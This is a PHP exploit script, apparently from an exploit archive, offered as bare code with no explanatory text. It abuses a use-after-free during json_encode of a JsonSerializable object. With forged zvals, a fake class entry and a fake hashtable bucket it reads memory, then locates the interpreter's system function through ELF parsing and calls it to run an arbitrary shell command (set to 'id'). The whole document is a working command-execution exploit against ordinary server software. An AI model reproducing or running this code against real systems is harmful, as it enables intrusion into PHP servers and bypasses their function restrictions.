Share
<?php  
  
$cmd = "id";  
  
$n_alloc = 10; # increase this value if you get segfaults  
  
class MySplFixedArray extends SplFixedArray {  
public static $leak;  
}  
  
class Z implements JsonSerializable {  
public function write(&$str, $p, $v, $n = 8) {  
$i = 0;  
for($i = 0; $i < $n; $i++) {  
$str[$p + $i] = chr($v & 0xff);  
$v >>= 8;  
}  
}  
  
public function str2ptr(&$str, $p = 0, $s = 8) {  
$address = 0;  
for($j = $s-1; $j >= 0; $j--) {  
$address <<= 8;  
$address |= ord($str[$p+$j]);  
}  
return $address;  
}  
  
public function ptr2str($ptr, $m = 8) {  
$out = "";  
for ($i=0; $i < $m; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
# unable to leak ro segments  
public function leak1($addr) {  
global $spl1;  
  
$this->write($this->abc, 8, $addr - 0x10);  
return strlen(get_class($spl1));  
}  
  
# the real deal  
public function leak2($addr, $p = 0, $s = 8) {  
global $spl1, $fake_tbl_off;  
  
# fake reference zval  
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted  
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval  
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)  
  
$leak = strlen($spl1::$leak);  
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }  
  
return $leak;  
}  
  
public function parse_elf($base) {  
$e_type = $this->leak2($base, 0x10, 2);  
  
$e_phoff = $this->leak2($base, 0x20);  
$e_phentsize = $this->leak2($base, 0x36, 2);  
$e_phnum = $this->leak2($base, 0x38, 2);  
  
for($i = 0; $i < $e_phnum; $i++) {  
$header = $base + $e_phoff + $i * $e_phentsize;  
$p_type = $this->leak2($header, 0, 4);  
$p_flags = $this->leak2($header, 4, 4);  
$p_vaddr = $this->leak2($header, 0x10);  
$p_memsz = $this->leak2($header, 0x28);  
  
if($p_type == 0x6474e552) { # PT_GNU_RELRO  
# handle pie  
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;  
$data_size = $p_memsz;  
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec  
$text_size = $p_memsz;  
}  
}  
  
if(!$data_addr || !$text_size || !$data_size)  
return false;  
  
return [$data_addr, $text_size, $data_size];  
}  
  
public function get_basic_funcs($base, $elf) {  
list($data_addr, $text_size, $data_size) = $elf;  
for($i = 0; $i < $data_size / 8; $i++) {  
$leak = $this->leak2($data_addr, $i * 8);  
if($leak - $base > 0 && $leak - $base < $text_size) {  
$deref = $this->leak2($leak);  
# 'constant' constant check  
if($deref != 0x746e6174736e6f63)  
continue;  
} else continue;  
  
$leak = $this->leak2($data_addr, ($i + 4) * 8);  
if($leak - $base > 0 && $leak - $base < $text_size) {  
$deref = $this->leak2($leak);  
# 'bin2hex' constant check  
if($deref != 0x786568326e6962)  
continue;  
} else continue;  
  
return $data_addr + $i * 8;  
}  
}  
  
public function get_binary_base($binary_leak) {  
$base = 0;  
$start = $binary_leak & 0xfffffffffffff000;  
for($i = 0; $i < 0x1000; $i++) {  
$addr = $start - 0x1000 * $i;  
$leak = $this->leak2($addr, 0, 7);  
if($leak == 0x10102464c457f) { # ELF header  
return $addr;  
}  
}  
}  
  
public function get_system($basic_funcs) {  
$addr = $basic_funcs;  
do {  
$f_entry = $this->leak2($addr);  
$f_name = $this->leak2($f_entry, 0, 6);  
  
if($f_name == 0x6d6574737973) { # system  
return $this->leak2($addr + 8);  
}  
$addr += 0x20;  
} while($f_entry != 0);  
return false;  
}  
  
public function jsonSerialize() {  
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;  
  
$contiguous = [];  
for($i = 0; $i < $n_alloc; $i++)  
$contiguous[] = new DateInterval('PT1S');  
  
$room = [];  
for($i = 0; $i < $n_alloc; $i++)  
$room[] = new Z();  
  
$_protector = $this->ptr2str(0, 78);  
  
$this->abc = $this->ptr2str(0, 79);  
$p = new DateInterval('PT1S');  
  
unset($y[0]);  
unset($p);  
  
$protector = ".$_protector";  
  
$x = new DateInterval('PT1S');  
$x->d = 0x2000;  
$x->h = 0xdeadbeef;  
# $this->abc is now of size 0x2000  
  
if($this->str2ptr($this->abc) != 0xdeadbeef) {  
die('UAF failed.');  
}  
  
$spl1 = new MySplFixedArray();  
$spl2 = new MySplFixedArray();  
  
# some leaks  
$class_entry = $this->str2ptr($this->abc, 0x120);  
$handlers = $this->str2ptr($this->abc, 0x128);  
$php_heap = $this->str2ptr($this->abc, 0x1a8);  
$abc_addr = $php_heap - 0x218;  
  
# create a fake class_entry  
$fake_obj = $abc_addr;  
$this->write($this->abc, 0, 2); # type  
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry  
  
# copy some of class_entry definition  
for($i = 0; $i < 16; $i++) {  
$this->write($this->abc, 0x10 + $i * 8,   
$this->leak1($class_entry + 0x10 + $i * 8));  
}  
  
# fake static members table  
$fake_tbl_off = 0x70 * 4 - 16;  
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);  
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);  
  
# fake zval_reference  
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval  
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)  
  
# look for binary base  
$binary_leak = $this->leak2($handlers + 0x10);  
if(!($base = $this->get_binary_base($binary_leak))) {  
die("Couldn't determine binary base address");  
}  
  
# parse elf header  
if(!($elf = $this->parse_elf($base))) {  
die("Couldn't parse ELF");  
}  
  
# get basic_functions address  
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {  
die("Couldn't get basic_functions address");  
}  
  
# find system entry  
if(!($zif_system = $this->get_system($basic_funcs))) {  
die("Couldn't get zif_system address");  
}  
  
# copy hashtable offsetGet bucket  
$fake_bkt_off = 0x70 * 5 - 16;  
  
$function_data = $this->str2ptr($this->abc, 0x50);  
for($i = 0; $i < 4; $i++) {  
$this->write($this->abc, $fake_bkt_off + $i * 8,   
$this->leak2($function_data + 0x40 * 4, $i * 8));  
}  
  
# create a fake bucket  
$fake_bkt_addr = $abc_addr + $fake_bkt_off;  
$this->write($this->abc, 0x50, $fake_bkt_addr);  
for($i = 0; $i < 3; $i++) {  
$this->write($this->abc, 0x58 + $i * 4, 1, 4);  
}  
  
# copy bucket zval  
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);  
for($i = 0; $i < 12; $i++) {  
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,   
$this->leak2($function_zval, $i * 8));  
}  
  
# pwn  
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);  
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);  
  
$spl1->offsetGet($cmd);  
  
exit();  
}  
}  
  
$y = [new Z()];  
json_encode([&$y]);